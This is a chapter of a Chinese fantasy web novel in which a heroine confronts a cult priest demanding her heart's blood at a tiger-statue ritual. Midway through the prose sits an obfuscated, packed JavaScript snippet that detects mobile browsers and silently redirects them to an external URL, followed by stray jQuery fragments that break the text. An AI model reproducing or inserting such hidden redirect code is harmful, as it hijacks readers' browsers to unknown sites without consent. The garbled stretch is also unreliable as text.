萧煜的办事效率极高，不过一个时辰便将祭祀所需的三牲祭品——一整头刮洗干净的肥猪，一只硕大的公羊，一头壮实的牛犊——以及香烛纸马等物准备齐全，甚至还有两个临时雇来的吹打手，将场面做得十足。
商队小姐要亲自去虎仙石雕前赔罪的消息，很快便传遍了小镇，引来了不少镇民好奇又带着几分敬畏的围观。
出发前，沈清茉回到自己房间，做最后的准备。
她盘膝坐于榻上，心神沉入识海。
那邪神印记在经过昨夜和今晨的波折后显得有些不稳，如同被灰烬覆盖的炭火看似平静，内里却暗藏灼热。
那道白色灵力依旧温顺地流淌，与【离经易道】心法结合，形成一层柔和却坚韧的屏障，护持着识海的清明。
“七成把握……”
沈清茉在心中默念，指尖掐入掌心带来一丝刺痛，让她更加清醒。
这七成，是建立在对方不再进行高强度蛊惑的前提下。
但石雕下的那个存在狡诈而贪婪，会放过这个机会吗？
她不敢笃定，但事已至此，唯有全力以赴。
她不是孤军奋战。
周玄宸会在暗处策应，萧煜带着精锐护卫明里跟随。
这是他们目前能做出的最佳安排。
她睁开眼，眸中一片沉静。
随后换上一身素净的衣裙，外面罩着厚厚的狐裘，脸色刻意保持苍白，由一名假扮成侍女的暗卫搀扶着缓缓走下楼梯。
客栈门口，祭祀的队伍已经准备就绪。
三牲被放置在特制的木架上，由几名强壮的护卫抬着。
萧煜一身劲装，腰佩长刀，神色肃穆地立在最前方。
周围聚集的镇民对着他们指指点点议论纷纷，目光中混杂着同情与好奇，还有一丝难以言喻的……期待。
“小姐，都准备好了。”
萧煜上前一步，沉声说道，目光与沈清茉短暂交汇，传递着无声的询问与支持。
沈清茉微微颔首，声音带着刻意营造的虚弱：“有劳萧护卫了，我们……这便去吧，莫要让虎仙久等。”
她的话语落入周围镇民耳中，更坐实了她深受惊吓，诚心赔罪的形象。
队伍开始向着镇中心广场行进。
吹打手卖力地吹奏着哀乐般的调子，更添几分悲凉与诡异。
沈清茉在侍女的搀扶下走在队伍中间，低垂着头仿佛不堪重负，实则【灵境】已全力开启，如同最精密的雷达，扫描着周围的一切。
她能感觉到无数道目光落在身上，有普通的镇民，有隐藏在人群中的各方眼线，还有……一道格外阴冷，带着审视意味的视线，来自不远处一座茶楼的二楼窗口。
她没有抬头去看，但心中已然明了——吴校尉，或者他背后的人，正在注视着他们。
越靠近广场，空气中那股熟悉的阴冷污秽感便越发明显。
识海中的印记开始微微发烫，传递出焦躁与一丝隐晦的兴奋。
沈清茉立刻加强了对白色灵力的引导，【离经易道】的心法在体内加速运转，如同清泉流淌，竭力压制着那蠢蠢欲动的黑暗。
周玄宸的神识如同无形的屏障，悄然笼罩在沈清茉周围，隔绝了大部分来自石雕方向的负面气息侵蚀，让她压力稍减。
他本人并未现身，而是隐藏在广场附近的阴影中，如同蛰伏的猎豹随时准备发出致命一击。
终于，队伍抵达了广场。
白日里的广场少了夜晚的诡谲，却多了一份庄严肃穆的假象。
那尊狰狞的虎形石雕在阳光下投下长长的阴影，胸口的断剑依旧醒目，但沈清茉能清晰地看到，石雕基座周围那些暗红色，如同血管般的纹路在微微搏动，贪婪地吸收着空气中稀薄的愿力与……某种更深沉的黑暗。
祭品被恭敬地摆放在石雕前的供桌上。
吹打手停止了吹奏，广场上顿时安静下来，只有风声呼啸。
萧煜上前一步，按照事先商量好的说辞朗声道：“伏虎镇虎仙在上，我家小姐途经宝地，无意冲撞仙驾，致使身心不安，今特备三牲血食，香烛纸马，虔诚祷祝，望虎仙大人大量，宽宥我等无心之失，保佑小姐早日康复，商队行程顺利！”
他的声音洪亮，在空旷的广场上回荡。
镇民们屏息凝神，目光都聚焦在沈清茉身上。
该她上场了。
沈清茉在侍女的搀扶下，缓步走到供桌前。
她抬起头，望向那尊虎形石雕，目光与之对视。
刹那间，一股远比昨夜更加冰冷的意念，如同毒蛇般顺着那若有若无的感应链接，猛地钻入她的识海！
“……钥匙……终于……来了……”
“……释放……吾……予汝……永生……”
庞大的诱惑与混乱的意念如同潮水般涌来，冲击着她的心神防线！识海中的邪神印记骤然爆发出灼热的光芒，疯狂冲击着白色灵力构筑的封印！
沈清茉身体剧烈一晃，脸色瞬间变得惨白如纸，额头上渗出豆大的汗珠。
她咬紧牙关，几乎用尽了全部意志力才没有当场失态。
白色灵力在【离经易道】的催动下，爆发出前所未有的光芒，死死地将那躁动的印记与外界涌入的蛊惑意念隔绝开来。
她不能倒下！更不能被蛊惑！
在外人看来，这位周小姐只是身体虚弱，加之面对虎仙石雕过于恐惧故而摇摇欲坠。
“小姐！”侍女惊呼一声，连忙用力扶住她。
萧煜也一步踏前，看似关切实则警惕地护在她身侧，手已按在了刀柄上。
隐藏在暗处的周玄宸，神识紧紧锁定沈清茉，随时准备出手。
就在这时，一个苍老而嘶哑的声音响起：“心不诚，则意不达，虎仙……感受不到你的歉意。”
众人循声望去，只见一个穿着古怪祭司袍服，脸上涂着厚重油彩的老者，在一群同样装扮的祭司簇拥下，从广场一侧走了过来。
为首的正是昨日主持血祭的那名大祭司，他手中握着一柄骨杖，浑浊的眼睛死死盯着沈清茉，带着一种令人不适的狂热。
“是庙祝大人！”有镇民低声惊呼，纷纷让开道路，神色更加敬畏。
沈清茉心中凛然，正主来了！
她强忍着识海中的翻江倒海，虚弱地开口，声音带着颤抖：“信女……心诚至极……不知……不知该如何……才能让虎仙感受到？”
那大祭司走到近前，骨杖指向供桌上的三牲，又缓缓移向沈清茉，油彩下的嘴角勾起一个诡异的弧度：“凡俗血食，岂能真正平息仙怒？虎仙所需……乃更具灵性之物。”
他的目光如同冰冷的蛇信，舔舐过沈清茉的脸庞：“小姐身具异禀，灵力纯净，若肯献上心头精血三滴，滴于这石雕断剑之上，以灵契起誓，虎仙必感其诚，不仅宽宥冲撞之罪，或可赐下仙缘，保你百病全消！”
此言一出满场皆惊！
献上心头精血？
这哪里是赔罪，这分明是邪术！
萧煜脸色骤变，厉声喝道：“荒谬！我家小姐金枝玉叶，岂能行此自残之事！尔等到底是何居心？”
周围的镇民也骚动起来，显然这要求超出了他们的认知。
沈清茉心中却是雪亮。
果然！他们的目标，从一开始就是她！
或者说，是她体内那能引起石雕下存在共鸣的钥匙！心头精血蕴含修士本源灵力与神魂印记，若真献上无异于将自身命门拱手送上，届时是生是死就全由对方拿捏了！
好恶毒的算计！
这虎仙祭，根本就是一个筛选并献祭特殊之人的陷阱！那些所谓的冲撞虎仙而亡的外乡人，恐怕多半是遭了他们的毒手！
愤怒如同冰冷的火焰在她心中燃烧，反而压下了几分识海中的不适。
她抬起眼看向那大祭司，眼神不再是伪装出的柔弱，而是带着一丝冰冷的锐利：“庙祝大人……此言当真？只需三滴心头精血……虎仙便不再怪罪？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541839|185036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的话语看似动摇，实则是在确认对方的意图，也是在拖延时间思考对策。
大祭司见她似乎意动，眼中狂热更盛：“自然！老夫以虎仙之名起誓！小姐，这可是千载难逢的仙缘啊！”
他上前一步，几乎将那张涂满油彩的脸凑到沈清茉面前，压低声音带着蛊惑，“莫要犹豫，错过此次，仙缘消散，恐有血光之灾……”
这已是赤裸裸的威胁！
沈清茉心中冷笑，正欲开口周旋，异变再生！
“住口！”
一声暴喝如同惊雷，在广场上炸响。
只见吴校尉带着一队镇北军士分开人群，大步流星地走了过来。
他脸色铁青，目光先是狠狠瞪了那大祭司一眼，随即转向沈清茉，语气看似严厉却带着一种不易察觉的急迫：“周小姐！莫要听这老匹夫胡言乱语！什么心头精血简直是无稽之谈！我北境镇北军辖下，岂容此等妖言惑众之事！”
他的突然出现和截然不同的态度，让所有人都愣住了，包括那大祭司。
老祭司脸色一变似乎想说什么，但在吴校尉冰冷的目光逼视下，最终还是悻悻地闭上了嘴，只是眼神阴鸷地扫过沈清茉和吴校尉。
沈清茉心中念头飞转。
吴校尉此举是何意？
阻止祭祀？
他与这大祭司不是一伙的？
还是……他们内部出现了分歧？
吴校尉不再理会大祭司，对沈清茉抱拳道：“周小姐受惊了，此间之事乃本地愚民无知，妄信邪说所致，赔罪之事到此为止，这些祭品便当是给虎仙的供奉了，小姐身体不适还是尽快回客栈休息吧，此地……不宜久留！”
他最后四个字咬得极重，目光锐利地看向沈清茉，带着一种近乎警告的意味。
事情的发展出乎了所有人的预料。
吴校尉的强行介入，暂时打破了僵局。
沈清茉与隐藏在暗处的周玄宸快速交换了神识。
眼下情况不明，强行对峙并非上策。
她顺水推舟，脸上露出如释重负又带着几分后怕的神情，对着吴校尉微微欠身：“多谢吴校尉明察，既如此……信女便先行告退了。”
她示意萧煜。
萧煜立刻招呼护卫抬起祭品，护着沈清茉迅速离开了广场。
那大祭司看着他们离去的背影，脸色阴沉得几乎要滴出水来，却碍于吴校尉在场不敢阻拦。
返回客栈的路上，沈清茉靠在侍女身上，看似虚弱心中却波澜起伏。
吴校尉最后的警告，是真心提醒还是另一种形式的威胁？他为何要在关键时刻阻止大祭司？他们之间，究竟有着怎样的关系？
而石雕下的那个存在，在被她明确拒绝后又会作何反应？那缕被斩断的感应链接，是否会再次连接？
回到客栈房间，屏退左右后沈清茉才真正松懈下来，只觉得浑身乏力，识海中的印记依旧残留着灼热的余波。
周玄宸很快现身，渡入一股精纯灵力助她稳定情况。
“吴校尉的态度，很有意思。”
周玄宸沉吟道，“他似乎在阻止事情走向极端。”
沈清茉缓过气，分析道：“有两种可能，其一，他与大祭司并非完全同心，或许觉得此刻强行取我精血时机不对，或者另有图谋；其二，他是在保护我……或者说，保护我这个钥匙不被大祭司那一方独占或过早消耗。”
无论是哪种可能，都表明伏虎镇的水比他们想象的更深，内部的势力并非铁板一块。
“我们接下来该如何？”沈清茉看向周玄宸，计划被打乱，需要新的对策。
周玄宸目光望向窗外伏虎镇的方向：“吴校尉让我们离开，我们偏要再留一晚，今晚我们去拜访一下这位……立场不明的吴校尉，有些话他白天不方便说，或许晚上会愿意透露一二。”
他嘴角勾起一抹冷冽的弧度。
“至于那石雕……既然它如此惦记你，我们也不能让它失望，或许，该让它先付点利息了。”